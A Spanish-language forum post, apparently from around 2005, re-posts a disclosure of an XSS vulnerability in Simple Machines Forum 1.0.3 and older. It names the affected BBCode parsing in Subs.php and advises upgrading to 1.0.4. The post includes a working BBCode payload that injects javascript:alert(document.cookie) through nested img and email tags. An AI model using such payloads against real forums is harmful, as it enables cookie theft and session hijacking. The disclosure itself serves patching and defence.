Autor
Hola gente, pues ya que salio la Smf 1.0.4 para reparar este Bug Xss, y ya esta la 1.0.5 en unos días, pues lanzare el Bug y el explot para esta versión (1.0.3 and OLD).Author: Unknow (desconocido).
Cita de: [darksteel
date=1118006352]
Hola bueno, se confirmo la vulnerabilidad xss en los foros smf.
por ahora el exploit no será publicado hasta que haya un parche. No se preocupen es uan tonteria.
Vendor: Simplemachines.org
Notify: YES
Exploit: YES
Impacto:
Subs.php - BBC
Exploit:
Solución
Actualizar SMF 1.0.4
www.simplemachines.org
darksteel-
Hola bueno, se confirmo la vulnerabilidad xss en los foros smf.
por ahora el exploit no será publicado hasta que haya un parche. No se preocupen es uan tonteria.
Vendor: Simplemachines.org
Notify: YES
Exploit: YES
Impacto:
Subs.php - BBC
Exploit:
Código:
[img]http://s.d[email]sa@sa/style=background:url(javascript:alert(document.cookie));[/img][/email]
Solución
Actualizar SMF 1.0.4
www.simplemachines.org
darksteel-
Fuente: http://foro.cmh-ip.net/index.php/topic,89.0.html
darksteel-
En línea
